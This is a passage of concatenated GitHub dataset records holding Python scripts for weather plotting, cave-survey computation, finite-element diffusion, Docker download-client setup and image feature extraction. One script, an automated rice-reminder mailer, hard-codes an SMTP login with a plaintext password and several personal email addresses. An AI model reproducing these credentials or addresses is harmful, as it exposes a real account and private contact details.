State\n \"\"\"\n\n def __init__(self, result):\n self.result = result\n self.params = {}\n\n def add_state(self, input, state):\n self.params[input] = state\n \n def next_state(self, input):\n if input == \"\":\n return self.get_result()\n return self.params[input[0]].next_state(input[1:])\n\n def get_result(self):\n return self.result\n\nif __name__ == \"__main__\":\n start = State(False)\n s0 = State(False)\n s1 = State(False)\n s2 = State(True)\n s3 = State(True)\n s4 = State(False)\n\n start.add_state(\"a\", s0)\n start.add_state(\"b\", s3)\n s0.add_state(\"a\", s4)\n s0.add_state(\"b\", s1)\n s1.add_state(\"a\", s4)\n s1.add_state(\"b\", s2)\n s2.add_state(\"a\", s0)\n s2.add_state(\"b\", s2)\n s3.add_state(\"a\", s0)\n s3.add_state(\"b\", s3)\n s4.add_state(\"a\", s4)\n s4.add_state(\"b\", s4)\n\n print(start.next_state(input=\"bbbb\"))\n","repo_name":"patrickerson/mef","sub_path":"MEF_python/nodes.py","file_name":"nodes.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32885705256","text":"import cartopy.crs as ccrs\nimport cartopy.feature as cfeature\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport netCDF4\nimport cmocean\nimport os\nfrom datetime import datetime\nfrom argparse import ArgumentParser\n\n# Input arguments\nparser = ArgumentParser()\nparser.add_argument('-i', required=True, action='store', dest='files',\n nargs='*', help='Input file paths')\nparser.add_argument('-s', required=True, action='store', dest='save',\n nargs=1, help='Figure save directory')\nargs = parser.parse_args()\n\ndates = [datetime.strptime(''.join(d.split('_')[2:4]),\n '%Y%m%d%H%M') for d in args.files]\nidx = np.argsort(dates)\n\nfigpath = args.save[0]\nif not os.path.exists(figpath):\n os.mkdir(figpath)\n\n# define projection and setup some graphing routines\ncrs = ccrs.Orthographic(central_longitude=0., central_latitude=90.)\ndef plot_background(ax):\n ax.add_feature(cfeature.COASTLINE.with_scale('50m'), linewidth=0.5)\n ax.add_feature(cfeature.STATES, linewidth=0.5)\n ax.add_feature(cfeature.BORDERS, linewidth=0.5)\nplt.close('all')\n\n# loop through selected files\nfor f in np.asarray(args.files)[idx]:\n # grab valid time from file name\n fname = f.split(os.sep)[-1]\n d_valid = ''.join(fname.split('_')[2:4])\n dt_valid = datetime.strptime(d_valid, '%Y%m%d%H%M')\n\n # load gfs data - northern hemisphere\n print(f'Reading file {fname}')\n df = netCDF4.Dataset(f, 'r')\n lon = df.variables['lon_0'][:]\n iN = np.where(df.variables['lat_0'][:] >= 0)[0]\n lat = df.variables['lat_0'][iN]\n\n i300 = np.where(df.variables['lv_ISBL0'][:] == 30000.)[0][0]\n\n u300 = df.variables['UGRD_P0_L100_GLL0'][i300, iN, :]\n v300 = df.variables['VGRD_P0_L100_GLL0'][i300, iN, :]\n z300 = df.variables['HGT_P0_L100_GLL0'][i300, iN, :]\n psfc = df.variables['PRMSL_P0_L101_GLL0'][iN, :] / 100.\n # PRES_P0_L1_GLL0\n # PRMSL_P0_L101_GLL0\n # MSLET_P0_L101_GLL0\n Tsfc = df.variables['TMP_P0_L1_GLL0'][iN, :] - 273.15\n\n # calculate speed from u and v\n spd300 = np.sqrt(u300**2. + v300**2.)\n\n # mesh grid\n lon_2d, lat_2d = np.meshgrid(lon, lat)\n\n # plot\n fig1, ax1 = plt.subplots(nrows=1, ncols=2, figsize=(20, 13),\n subplot_kw={'projection': crs})\n for a in ax1:\n plot_background(a)\n\n # 300 mb heights and winds\n vmin1 = 0.\n vmax1 = 120.\n lvl1 = np.linspace(vmin1, vmax1, num=9)\n cf1 = ax1[0].contourf(lon_2d, lat_2d, spd300, cmap=cmocean.cm.dense, \n vmin=0., vmax = 120., levels=lvl1,\n transform=ccrs.PlateCarree())\n c1 = ax1[0].contour(lon_2d, lat_2d, z300, colors='black', linewidths=2,\n transform=ccrs.PlateCarree())\n ax1[0].clabel(c1, fontsize=10, inline=1, inline_spacing=1, fmt='%i',\n rightside_up=True)\n ax1[0].set_title('300 mb Wind Speeds and Heights')\n cb1 = fig1.colorbar(\n cf1, ax=ax1[0], orientation='horizontal', shrink=0.74, pad=0)\n cb1.set_label('knots', size='x-large')\n\n # surface pressure and temperature\n vmin2 = -60.\n vmax2 = 30.\n lvl2 = np.linspace(vmin2, vmax2, num=10)\n cf2 = ax1[1].contourf(lon_2d, lat_2d, Tsfc, cmap=cmocean.cm.thermal,\n vmin=-60., vmax=30., levels=lvl2,\n transform=ccrs.PlateCarree(), zorder=0)\n c2 = ax1[1].contour(lon_2d, lat_2d, psfc, colors='black', linewidths=2,\n transform=ccrs.PlateCarree())\n ax1[1].clabel(c2, fontsize=10, inline=1, inline_spacing=1, fmt='%i',\n rightside_up=True)\n ax1[1].set_title('Surface Temperature and Pressure')\n cb2 = fig1.colorbar(\n cf2, ax=ax1[1], orientation='horizontal', shrink=0.74, pad=0)\n cb2.set_label('deg C', size='x-large')\n\n plt.suptitle(f'GFS Analysis Valid {dt_valid.strftime(\"%d-%B-%Y %H UTC\")}')\n\n fig1.savefig(f'{figpath}v1_{dt_valid.strftime(\"%Y%m%d_%H%M\")}_GFS.png',\n format='png', dpi=150)\n\n df.close()\n plt.close(fig1)\n","repo_name":"bgreene777/Wx","sub_path":"plot_gfs_NH.py","file_name":"plot_gfs_NH.py","file_ext":"py","file_size_in_byte":4047,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"36507246876","text":"# -*-coding:utf-8 -*\n# Sous Linux, remplacer Latin-1 par Utf-8\nimport string\n\nfrom math import *\nfrom functions import *\nfrom types_donnees import *\nfrom ToporobotClasses import *\nfrom CodeCalcul import *\nfrom VisuGraphique import *\nfrom os import *\nfrom sys import *\nfrom platform import *\n\n#version = platform.python_version_tuple()\n\nAfficherMessage(\"OS de type: %s\" % (os.name))\n#AfficherMessage(\"Python Version %s.%s.%s\" % (version[0], version[1], version[2]))\n#AfficherMessage(\"chemin python: %s\" % (sys.executable))\nAfficherMessage(\"-------------------------------------------------\")\n \ndef Main():\n\n # MyDirectory = '/storage/sdcard0/Python/PyGHTopo_20160619/' \n MyDirectory = './' \n\n MyDocTopo = TDocuTopo('miaou', 'toto')\n \n \n choi = 0\n # PageEncoding = 'utf-8'\n PageEncoding = 'cp1252'\n if (choi == 0): MyDocTopo.ChargerFichierTab( MyDirectory + 'Toporabot.xtb', PageEncoding)\n elif (choi == 1): MyDocTopo.ChargerFichierTab( MyDirectory + '0_Reseau_Ardengost_20160611_11.xtb', PageEncoding)\n elif (choi == 2): MyDocTopo.ChargerFichierTab( MyDirectory + '00_Grottes_du_Roy.xtb', PageEncoding)\n elif (choi == 3): MyDocTopo.ChargerFichierTab( MyDirectory + '00_Grottes_Saint_Marcel.xtb', PageEncoding)\n elif (choi == 4): MyDocTopo.ChargerFichierTab( MyDirectory + '0_Bellegarde_20141222_georef.xtb', PageEncoding)\n elif (choi == 5): MyDocTopo.ChargerFichierTab( MyDirectory + '00_Roy_Reine_Fou_20150715_12bis.xtb', PageEncoding)\n\n\n \n MyDocTopo.ListerLesEntrees()\n MyDocTopo.ListerLesReseaux()\n MyDocTopo.ListerLesSecteurs()\n MyDocTopo.ListerLesCodes()\n MyDocTopo.ListerLesExpes()\n #MyDocTopo.ListerLesSeries() \n #MyDocTopo.ListerLesAntennes()\n AfficherMessage(\"----------------------------\")\n MyCodeCalcul = TCodeCalcul('EWE', 'WU')\n MyBDDEntites = TTableDesEntites()\n MyCodeCalcul.SetDocTopo(MyDocTopo, MyBDDEntites)\n MyCodeCalcul.AjouterLesEntrees()\n MyCodeCalcul.RecenserJonctions()\n MyCodeCalcul.RecenserBranches()\n AfficherMessage(\"Noeud max: %d\" % (MyCodeCalcul.GetMaxNode()))\n MyCodeCalcul.MakeRMatrix()\n MyCodeCalcul.MakeBMatrix()\n\n for i in range(1, 4):\n MyCodeCalcul.MakeSecondMembre(i)\n MyCodeCalcul.SolveMatrix(i)\n MyCodeCalcul.ListerNoeuds()\n MyCodeCalcul.RepartirEcarts()\n MyCodeCalcul.CalculContoursGaleries()\n MyCodeCalcul.TraiterViseesEnAntenne()\n \n # démarrer visu graphique\n MyBDDEntites.SetMinMax(20.00)\n #MyBDDEntites.ListerLesEntites()\n MyVisualisateur2D = TVisualisateur2D(super(), MyBDDEntites, 1000, 1000)\n MyVisualisateur2D.Flush()\n#------------ Main()\nMain() \n","repo_name":"JPCASSOU/PyGHTopo","sub_path":"PyGHTopo.py","file_name":"PyGHTopo.py","file_ext":"py","file_size_in_byte":2704,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"37346839005","text":"#!/usr/bin/python\n\nimport smtplib\nfrom email.mime.text import MIMEText\nimport datetime\n\nserver = smtplib.SMTP('smtp.zoho.com', 587)\nserver.starttls()\nserver.login('riceinlondon@ycyang.me', 'STABLEriceinLondon')\n\nheader1 = \"\"\"Hello, Henry,\n\nPlease cook some rice for me today. I intend to get rice from you for \"\"\"\n\nheader2 = \"\"\"Hello, Tony,\n\nAs a reminder, please decide on your rice demand for today and notify Henry or Colin by text.\"\"\"\n\ndisclaimer = \"\"\"\n\nI understand that you may have other plan for tonight or prefer to prepare rice later. It is always at your discretion whether to honor my request or not. Should you not be able to fulfill my request, please reply this email in advance so that I can be prepared, if it is convenient for you.\n\nThank you!\"\"\"\n\nend = \"\"\"\n\nHave a nice day!\n\nBest regards,\n\nSincerely,\nTony Yang\"\"\"\n\nbody = None\n\nif datetime.datetime.today().weekday() >= 4:\n body = header2 + end\nelif datetime.datetime.today().weekday() == 0:\n body = header1 + \"DINNER TONIGHT and LUNCH TOMORROW. I will go upstairs to your flat to pick up my rice at 6:30 PM today.\" + disclaimer + end\nelif datetime.datetime.today().weekday() == 1:\n body = header1 + \"DINNER TONIGHT ONLY. I will go upstairs to your flat to pick up my rice at 6:00 PM today.\" + disclaimer + end\nelif datetime.datetime.today().weekday() == 2:\n body = header1 + \"DINNER TONIGHT ONLY. I will go upstairs to your flat to pick up my rice at 7:00 PM today.\" + disclaimer + end\nelif datetime.datetime.today().weekday() == 3:\n body = header1 + \"DINNER TONIGHT and lunch / dinner tomorrow. I will go upstairs to your flat to pick up my rice at 6:30 PM today.\" + disclaimer + end\n\nmsg = MIMEText(body)\nmsg['Subject'] = 'Automated Rice Notification on ' + datetime.date.today().strftime(\"%B %d, %Y\")\nmsg['From'] = \"Automated Rice Notification \"\n\nif datetime.datetime.today().weekday() <= 3:\n msg['To'] = \"Henry Skrehot \"\n msg['Cc'] = \"Colin Xiang , Tony Yang \"\n server.sendmail(\"riceinlondon@ycyang.me\", {\"henryskrehot@berkeley.edu\", \"colinxiang518@gmail.com\", \"tony@ycyang.me\"}, msg.as_string())\nelse:\n msg['To'] = \"Tony Yang \"\n server.sendmail(\"riceinlondon@ycyang.me\", \"tony@ycyang.me\", msg.as_string())\n\nserver.quit()\n","repo_name":"tonyyanga/ricenotify","sub_path":"rice.py","file_name":"rice.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34851686376","text":"\nfrom dolfin import *\nfrom mshr import *\n\ndef diffusion_advection ( my_grid, my_range ):\n\n#*****************************************************************************80\n#\n## diffusion_advection simulates a 2D diffusion-advection time-dependant problem.\n#\n# Discussion:\n#\n# mu*(d²u/dx²) - du/dx = du/dt + f(x) in Omega = the unit interval.\n# u(0) = 0\n# u(1) = 1\n#\n# where\n# x = z/L and t = rt*v/L\n# (x=dimensionless magnetoph. direction, z=magnetoph. direction, L=size of the cuvette(m))\n# (t=dimensionless time, rt=real time (s), v=magnetoph. velocity (m/s))\n#\n# u_exact = x\n#\n# f(x) = 0\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 12 March 2021\n#\n# Author:\n#\n# John Burkardt\n# Modified by Jordi Faraudo & Theo Marcusson\n#\n# Reference:\n#\n# Anders Logg, Kent-Andre Mardal,\n# Lectures on the Finite Element Method.\n#\n# Parameters:\n#\n# Input: integer my_grid, the resolution on the mesh; \n# Input: float my_range [0,1], the range of observation (= (1/zoom))\n#\n import matplotlib.pyplot as plt\n#\n# Set the mesh.\n#\n# \n# Define the region for the equation to be solved\n#\n west = Constant(0.0)\n south = Constant(0.0)\n east = Constant(1.0)\n north = Constant(1.0)\n\n domain = Rectangle(Point(west, south), Point(east, north)) \n \n# Define subdomain generation for the boundary layer\n \n n = 1.3\n m = 30\n series = [n**-i for i in range(m)]\n rectang = [Rectangle(Point(west, south), Point(east, v)) for v in series]\n \n for (i, bl) in enumerate(rectang):\n domain.set_subdomain(1 + i, bl)\n \n# Generate the mesh\n \n my_mesh = generate_mesh(domain, my_grid)\n \n print ( '' )\n print ( ' Rectangular domain with mesh n = %d' % ( my_grid ) )\n #my_mesh = UnitIntervalMesh ( my_grid )\n \n#\n# Set the function space.\n# \n V = FunctionSpace ( my_mesh, 'CG', 1 )\n#\n# Set the trial and test functions.\n#\n u = Function ( V )\n u1 = Function ( V )\n v = TestFunction ( V )\n#\n# Set velocity vector and constants (mu) \n#\n c_B = Constant(5)\t\t\t\t#[mg/L]\n L = Constant(0.05)\t\t\t\t#[m]\n D = Constant(4.3*pow(10, -11))\t\t#[m²/s]\n v_M = Constant(1.6*pow(10, -7))\t\t#[m/s]\n w = as_vector((0.0, (1)))\n my_mu = Constant( D / (L * v_M) )\n \n# my_mu = 5.375*pow(10, -3) \n# 1/my_mu ~ 186 \n# t -> dimensionless time; rt -> real time, in seconds\n# t = rt * ( v_M / L )\n# t = rt * 3.2*e-6\n# t * 312500 = rt\n\n#\n# Set the source term.\n#\n f = Constant ( 0.0 )\n#\n# Set the time-stepping\n#\n T = (1) #Final dimensionless time\n RT = Constant( T * ( L / v_M )) #Real time, in seconds\n num_steps = 312500 #number of time steps\n dt = (T / num_steps) #\n \n#\n# Define the initial condition u(t=0) = 1\n# \n u_D = Constant(1) \n u1 = project(u_D, V)\n#\n# Set the right hand and left hand side.\n# \n F = my_mu*dot(grad(u),grad(v))*dx - dot(w,grad(u))*v*dx + ((u - u1) / dt)*v*dx\n#\n a, L = lhs(F), rhs(F)\n#\n# Define the exact solution.\n#\n u_expr = Expression ( \"x[1]\", degree = 10 )\n#\n# Define the boundary condition\n#\n def boundary(x, on_boundary):\n# check whether the point is at the boundary of the domain\n if on_boundary:\n# apply boundary conditions at x=0 or x=1\n if near(x[1], south, DOLFIN_EPS) or near(x[1], north, DOLFIN_EPS):\n return True\n else:\n return False\n else:\n return False\n# \n# \n print ( ' Max resolution in Boundary Layer: %g m' % (n**(-m+1)))\n \n# The boundary condition uses the exact expression that provides automatically u(0)=0 and u(1)=1\n# but any other function that has this property will work (comment Jordi)\n bc = DirichletBC ( V, u_expr, boundary )\n#\n# Solve\n#\n t = 0\t\t\t#dimensionless time\n\n for j in range(num_steps):\n t+=dt\n solve(F == 0, u, bc)\n plt.xlim([0, my_range])\n plt.ylim([0, my_range])\n zoom = 1/my_range\n u1.assign(u)\n rt = t * 312500\t\t#real time, in seconds.\n filename = ('difu_adv_zoom_%g_rt_%.1f_t_%.6f.png' % ( zoom, rt, t ))\n ro = round((t-dt)*num_steps)\n\n# This is made to save results as a png file just once for a given number of iterations\n# given by the number following the % sign in the if statement. ro is made to round to\n# integers and make the algorithm work with no problems of tolerance. \n \n if rt <= 60:\n if (ro) % 1 == 0:\n pu = plot(u)\n cb = plt.colorbar(pu)\n plt.savefig(filename)\n plt.close()\n elif 60 < rt <= 1000:\n if (ro) % 10 == 0:\n pu = plot(u)\n cb = plt.colorbar(pu)\n plt.savefig(filename)\n plt.close()\n elif 1000 < rt <= 20000:\n if (ro) % 100 == 0:\n pu = plot(u)\n cb = plt.colorbar(pu)\n plt.savefig(filename)\n plt.close()\n else:\n if (ro) % 10000 == 0:\n pu = plot(u)\n cb = plt.colorbar(pu)\n plt.savefig(filename)\n plt.close()\n\n#\n# Terminate.\n#\n return\n\ndef diffusion_advection_test ( ):\n\n#*****************************************************************************80\n#\n## diffusion_advection_test tests diffusion_advection.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 17 May 2021\n#\n# Author:\n#\n# John Burkardt\n# Modified Jordi Faraudo & Theo Marcusson\n#\n import dolfin\n import platform\n import time\n\n print ( time.ctime ( time.time() ) )\n#\n# Report level = only warnings or higher.\n#\n level = 30\n set_log_level ( level )\n\n print ( '' )\n print ( 'Stationary Solution of convection diffusion Equation:' )\n print ( ' Python version: %s' % ( platform.python_version ( ) ) )\n print ( ' FENICS version %s'% ( dolfin.__version__ ) )\n print ( ' Diffusion-advection time dependant problem on 2D mesh.' )\n print ( ' mu*(d²u/dx²) - du/dx = du/dt + f(x)' )\n print ( ' u(0) = 0, u(1) = 1' )\n \n# \n#\n# Set grid\n# \n my_grid = 30\n\n# Set range\n# from x(i.e. z=0) = 0 to x(i.e. z=L) = 1; my_range = [0, 1]\n \n for my_range in ( 0.02 , 1.0 ):\n diffusion_advection ( my_grid , my_range )\n\n#\n# Terminate.\n#\n print ( '' )\n print ( 'diffusion_advection_test:' )\n print ( ' Normal end of execution.' )\n print ( '' )\n print ( time.ctime ( time.time() ) )\n return\n\nif ( __name__ == '__main__' ):\n\n diffusion_advection_test ( )\n","repo_name":"theomarcusson/TFG","sub_path":"diffusion_advection_transitory_2Dplot.py","file_name":"diffusion_advection_transitory_2Dplot.py","file_ext":"py","file_size_in_byte":6308,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"70357063761","text":"import click\n\nfrom src.equation_parser import EquationParser\nfrom src.equation_solver import EquationSolver\n\n\n@click.command('extra-class calculator')\n@click.option(\"--verbose\", is_flag=True, default=False, help=\"verbose output\")\ndef main(verbose: bool = False):\n if verbose:\n print('Начинаем парсинг уравнения')\n equation_parser: EquationParser = EquationParser(equation, verbose)\n equation_parser.parse_equation()\n if verbose:\n print('Парсинг уравнения успешен')\n print('Начинаем решать уравнение')\n equation_solver: EquationSolver = EquationSolver(equation_parser.multipliers, verbose)\n equation_solver.solve_equation()\n if verbose:\n print('Уравнение успешно решено')\n\n\nif __name__ == '__main__':\n try:\n main()\n except Exception as e:\n print(f'Error happened: {e}')\n","repo_name":"ldsad7/computor_v2","sub_path":"computor.py","file_name":"computor.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14566528106","text":"from src.model.Alarm import Alarm\nfrom src.model.Date import Date\n\n\nclass Event:\n uid: str\n summary: str\n description: str\n date_start: Date\n date_end: Date\n alarms: [Alarm]\n\n def __init__(self, uid: str, summary: str, description: str, date_start: 'Date', date_end: 'Date', alarms):\n self.uid = uid\n self.summary = summary\n self.description = description\n self.date_start = date_start\n self.date_end = date_end\n self.alarms = alarms\n\n def print_alarm_dates(self) -> str:\n iso_strings = []\n for alarm in self.alarms:\n iso_strings.append(alarm.date.iso8601)\n\n return '/'.join(iso_strings)\n\n def has_alarm_for(self, date: 'Date') -> bool:\n for alarm in self.alarms:\n if alarm.date.is_greater(date):\n return True\n\n return False","repo_name":"bartrail/pico-calendar","sub_path":"src/model/Event.py","file_name":"Event.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"15658184076","text":"import docker\nfrom sys import exit\nimport os\nimport requests\nimport json\nfrom dotenv import load_dotenv\nfrom pathlib import Path\nenv_path = Path('.') / '.env'\nload_dotenv(dotenv_path=env_path)\n\n\ntry:\n client = docker.from_env()\n APIClient = docker.APIClient(base_url='unix://var/run/docker.sock')\n print('docker connected')\n containers = client.containers.list(all=True)\n transmission = client.containers.get(os.getenv(\"DOWNLOADCLIENT\"))\n print(os.getenv(\"DOWNLOADCLIENT\"), 'status:', transmission.status)\n\n # start up docker container for downloadclient\n \n if transmission.status != 'running':\n print(transmission)\n transmission.start()\n else:\n print('already on')\n # exit(0)\n started = False\n while (started == False):\n print('starting...')\n if (client.containers.get(os.getenv(\"DOWNLOADCLIENT\")).status == 'running'):\n started = True\n\n # grab container info\n\n print(os.getenv(\"DOWNLOADCLIENT\"), 'status:', client.containers.get(os.getenv(\"DOWNLOADCLIENT\")).status)\n print('container:', client.containers.get(os.getenv(\"DOWNLOADCLIENT\")))\n print('name:', transmission.name)\n print('id:', client.containers.get(os.getenv(\"DOWNLOADCLIENT\")).id)\n transmissionIP = ''\n for currCont in APIClient.containers():\n if currCont['Names'][0] == '/' + os.getenv(\"DOWNLOADCLIENT\"):\n transmissionIP = currCont['NetworkSettings']['Networks']['bridge']['IPAddress']\n print('IP Address:', transmissionIP, '\\n')\n\n # config sonarr and radarr clients and connect to download clients\n sonarr = requests.get(\"http://\" + os.getenv(\"SONARRHOST\") + \":\" + \n os.getenv(\"SONARRPORT\") +\n \"/api/downloadclient?apikey=\"+\n os.getenv(\"SONARRAPIKEY\"))\n print('sonarr GET request status:', sonarr.status_code)\n \n # grab client info and configure\n clientInfo = None\n for client in sonarr.json():\n if (str(client['name']) == str(os.getenv(\"DOWNLOADCLIENT\"))):\n clientInfo = client\n if clientInfo == None:\n print(os.getenv(\"DOWNLOADCLIENT\"),\"not found\")\n clientInfo[\"fields\"][0]['value'] = transmissionIP\n\n # configure download client for sonarr\n sonarr = requests.put(\"http://\" + os.getenv(\"SONARRHOST\") + \":\" + \n os.getenv(\"SONARRPORT\") +\n \"/api/downloadclient/\" + str(clientInfo[\"id\"]) +\n \"?apikey=\" + os.getenv(\"SONARRAPIKEY\"), data=json.dumps(clientInfo))\n print('sonarr PUT request status:', sonarr.status_code, '\\n')\n\n\n # config radarr clients and connect to download clients\n radarr = requests.get(\"http://\" + os.getenv(\"RADARRHOST\") + \":\" + \n os.getenv(\"RADARRPORT\") +\n \"/api/downloadclient?apikey=\"+\n os.getenv(\"RADARRAPIKEY\"))\n print('radarr GET request status:', radarr.status_code)\n \n # grab client info and configure\n clientInfo = None\n for client in radarr.json():\n if (str(client['name']) == str(os.getenv(\"DOWNLOADCLIENT\"))):\n clientInfo = client\n if clientInfo == None:\n print(os.getenv(\"DOWNLOADCLIENT\"),\"not found\")\n clientInfo[\"fields\"][0]['value'] = transmissionIP\n\n # configure download client for sonarr\n radarr = requests.put(\"http://\" + os.getenv(\"RADARRHOST\") + \":\" + \n os.getenv(\"RADARRPORT\") +\n \"/api/downloadclient/\" + str(clientInfo[\"id\"]) +\n \"?apikey=\" + os.getenv(\"RADARRAPIKEY\"), data=json.dumps(clientInfo))\n print('radarr PUT request status:', radarr.status_code, '\\n')\n\nexcept docker.errors.APIError:\n print('failed to connect to docker')\n # print(docker.errors.APIError)\n\n\n","repo_name":"pranav-manik/transmission-PVR-configure","sub_path":"transmission-connect.py","file_name":"transmission-connect.py","file_ext":"py","file_size_in_byte":3621,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"41632966550","text":"from signal import SIG_DFL\nfrom VisualEncoder import VisualEncoder\nimport torch\nfrom torchvision import datasets\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms\nfrom glob import glob\nimport argparse\nimport os\nfrom PIL import Image\nclass FeatureExtractor:\n def __init__(self, args):\n \n self.args = args\n \n self.train_transform = self.init_train_transform()\n self.normal_transform = self.init_normal_transform()\n self.train_data_loader = self.init_data_loader(args.input_image_dir, args.batch_size, transform=self.train_transform, mode='train')\n self.normal_data_loader = self.init_data_loader(args.normal_image_dir, args.batch_size, transform=self.normal_transform, mode='normal')\n \n if args.gpu_ids >= 0:\n # torch.cuda.set_device(args.gpu_ids)\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n else : \n self.device = 'cpu'\n self.encoder = VisualEncoder(args.model_name, args.pretrained).to(self.device)\n \n\n print('device to use', self.device.type + f':{args.gpu_ids}')\n \n def init_data_loader(self, image_dir, batch_size, transform, mode='train'):\n\n dataset = ImageFolderWithPaths(image_dir, transform) # Custom Dataset\n\n if mode=='train':\n self.num_images = len(dataset)\n \n dataloader = torch.utils.data.DataLoader(dataset, \n batch_size = batch_size)\n\n return dataloader\n\n def init_train_transform(self):\n transform = transforms.Compose([\n transforms.Resize(self.args.resize),\n transforms.RandomCrop(self.args.crop_size),\n\n transforms.ToTensor(),\n transforms.Normalize((0.485, 0.456, 0.406),\n (0.229, 0.224, 0.225))])\n\n return transform\n\n def init_normal_transform(self):\n transform = transforms.Compose([\n transforms.Resize(self.args.resize),\n transforms.RandomCrop(self.args.crop_size),\n transforms.ToTensor(),\n transforms.Normalize((0.485, 0.456, 0.406),\n (0.229, 0.224, 0.225))])\n\n return transform\n\n\n def get_final_features(self, input_images, normal_images, feat_fusion_mode):\n \"\"\"배치단위 Feature 추출\"\"\"\n\n\n if self.device.type == 'cuda':\n input_images = input_images.cuda() \n normal_images = normal_images.cuda()\n # input image features\n # [7x7, B, 512] , [14x14, B, 512], [28x28, B, 512]\n\n conv5_fc_features, conv4_fc_features, conv3_fc_features = self.encoder.forward(input_images) # torch.Size([14*14, B, 512])) / torch.Size([B, 2048])\n \n \n # normal features\n # 위와 동일1\n conv5_norm_features, conv4_norm_features, conv3_norm_features = self.encoder.forward(normal_images) # torch.Size([1, 2048, 7, 7]), torch.Size([2048])\n\n conv5_diff_features = conv5_fc_features * conv5_norm_features \n conv4_diff_features = conv4_fc_features * conv4_norm_features \n conv3_diff_features = conv3_fc_features * conv3_norm_features \n\n # [7x7+14x14+28x28, B, 512] = [1029, B, 512]\n diff_features = torch.cat([conv5_diff_features, conv4_diff_features, conv3_diff_features])\n\n # [B, 1029, 512]\n total_features = diff_features.permute(1,0,2)\n \n return total_features \n \n\n def get_features(self, mode='only_one_normal'):\n \"\"\"output : {filename : features} - json\n \n file name을 기준으로 Pair \"\"\"\n feature_json ={}\n\n \n # not pair\n if mode == 'only_one_normal':\n assert len(self.normal_data_loader) == 1\n\n normal_image, _ = next(iter(self.normal_data_loader))\n\n # [1, 3, 224, 224] -> [B, 3, 224, 224]\n normal_images = normal_image.expand(self.args.batch_size, -1, -1, -1)\n\n idx = 0 \n for (input_images, path) in self.train_data_loader:\n\n if len(input_images) != len(normal_images):\n normal_images = normal_image.expand(len(input_images), -1, -1, -1)\n\n\n if self.device.type =='cuda':\n input_images = input_images.cuda()\n normal_images = normal_images.cuda()\n\n features = self.get_final_features(input_images, normal_images, self.args.feat_fusion_mode)\n feature_json.update(dict(zip(path, features.detach().cpu().numpy())))\n \n # 메모리 삭제\n # del features, input_images, normal_images\n # torch.cuda.empty_cache()\n \n idx += self.args.batch_size\n print(f'Compleate : {idx}/ {self.num_images}')\n \n\n # pair\n elif mode == 'pair':\n assert len(self.train_data_loader)==len(self.normal_data_loader)\n\n for (input_images, path), (normal_images, path_normal) in zip (self.train_data_loader, self.normal_data_loader):\n \n assert path == path_normal\n\n features = self.get_final_features(input_images, normal_images, self.args.feat_fusion_mode)\n # add 'image file : features' batch to dictionary\n feature_json.update(dict(zip(path, features.detach().cpu().numpy())))\n \n # 메모리 삭제\n # del features, input_images, normal_images\n # torch.cuda.empty_cache()\n\n idx += self.args.batch_size\n print(f'Compleate : {idx}/ {self.num_images}')\n\n else: \n pass\n\n return feature_json\n\n def save_features(self, feature_json):\n \"\"\"json to \"\"\"\n pass\n\n def seed_everything():\n seed = args.seed\n random.seed(seed)\n os.environ['PYTHONHASHSEED'] = str(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = False\n\n\nclass ImageFolderWithPaths(Dataset):\n \n def __init__(self, image_dir, transform):\n self.image_dir = image_dir\n self.image_path_list = sorted(glob(os.path.join(image_dir, '*')))\n self.transform=transform\n \n def __getitem__(self, index):\n\n image_path = self.image_path_list[index]\n image = Image.open(image_path).convert('RGB')\n image_name = image_path.split('/')[-1] # 80B49786-...-261155eb.jpg\n if self.transform is not None:\n image = self.transform(image)\n\n\n return image, image_name\n\n def __len__(self):\n return len(self.image_path_list)\n\n\n\n# Folder 내에 클래스가 존재하ㅐㄹ 때.\n# class ImageFolderWithPaths(datasets.ImageFolder):\n# \"\"\"Custom dataset that includes image file paths.\n# Extends torchvision.datasets.ImageFolder\n# \"\"\"\n\n# # override the __getitem__ method.\n# def __getitem__(self, index):\n# # this is what ImageFolder normally returns \n# original_tuple = super(ImageFolderWithPaths, self).__getitem__(index)\n# image = original_tuple[0]\n# # the image file path\n# path = self.imgs[index][0]\n# # make a new tuple that includes original and the path\n# tuple_with_path = (image + (path,))\n\n# return tuple_with_path\n\n\n\n\nif __name__ == '__main__':\n\n parser =argparse.ArgumentParser()\n\n parser.add_argument('input_image_dir', default=None, type=str)\n parser.add_argument('normal_image_dir', default=None, type=str)\n parser.add_argument('model_name', default='resnet152', type=str)\n parser.add_argument('pretrained', default='ImageNet', type=str)\n parser.add_argument('batch_size', default=1, type=int)\n\n\n parser.add_argument('resize', default=256, type=int)\n parser.add_argument('crop_size', default=224, type=int)\n parser.add_argument('feat_fusion_mode', default='ewp', type=str)\n parser.add_argument('diff_mode', default='only_one_normal', type=str)\n\n parser.add_argument('gpu_ids', default='0', type=int)\n\n\n input_dir = '/home/mskang/jinsu/med/H_LSTM_Transformer/data/all_jpgs'\n normal_dir = '/home/mskang/jinsu/med/H_LSTM_Transformer/data/normal_image'\n \n\n # py 파일 테스트용\n args = parser.parse_args(args=[input_dir, normal_dir, 'resnet152', 'ImageNet', \\\n '5', '256', '224', 'ewp', 